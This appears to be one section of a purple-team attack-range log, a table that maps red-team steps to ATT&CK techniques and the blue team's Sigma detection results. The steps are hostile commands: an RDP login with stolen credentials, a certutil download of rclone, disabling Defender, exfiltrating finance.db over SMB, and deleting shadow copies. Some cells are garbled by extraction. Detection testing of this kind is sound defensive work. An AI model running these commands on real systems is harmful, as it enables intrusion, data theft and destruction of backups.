## Part 3

Step	Action	ATT&CK Techniques	Blue Verification
3.1	<pre>xfreerdp /u:Administrator /p:'DomainPwned!' /d:ATTACKRANGE /v:10.0.1.16 /cert-ignore</pre>	T1021.001, T1078	is T1078 but we don't have detections on incoming RDP connections
3.2	<pre>certutil -urlcache -f https://github.com/MihhailSokolov/Se cTools/raw/main/rclone.exe C:\Temp\r.exe</pre>	T1105	Proc_creation_win_certutil_download.yml Detects it but ATT&CK technique is T1027: Obfuscated Files or Information  Net_connection_win_certutil_initiated_connection .yml Detects it  Sysmon produces multiple events for a single download and that triggers multiple alerts
3.3	<pre>[ss] type = smb host = 10.0.1.30 user = user pass = KN_sSidIRaFo_cmcZ_YNa5o8SLfyli8</pre>	?	No detection
3.4	Set-MpPreference -DisableRealtimeMonitoring 1	T1562.001	win_defender_real_time_protection_disabled.yml
3.5	<pre>C:\Temp\r.execonfig C:\Temp\r.conf copy</pre>	T1048	Proc_creation_win_certutil_download.yml

	C:\Users\Administrator\Documents\fin ance.db ss:datano-check-dest		Detects it but ATT&CK technique is T1027: Obfuscated Files or Information  Net_connection_win_certutil_initiated_connection .yml Detects it  Sysmon produces multiple events for a single download and that triggers multiple alerts
3.6	<pre>rm C:\Users\Administrator\Documents\fin ance.db vssadmin.exe delete shadows /all</pre>	T1490	Proc_creation_win_susp_shadow_copies_deletion. yml  Detects it, maps it additionally to T1070: Indicator Removal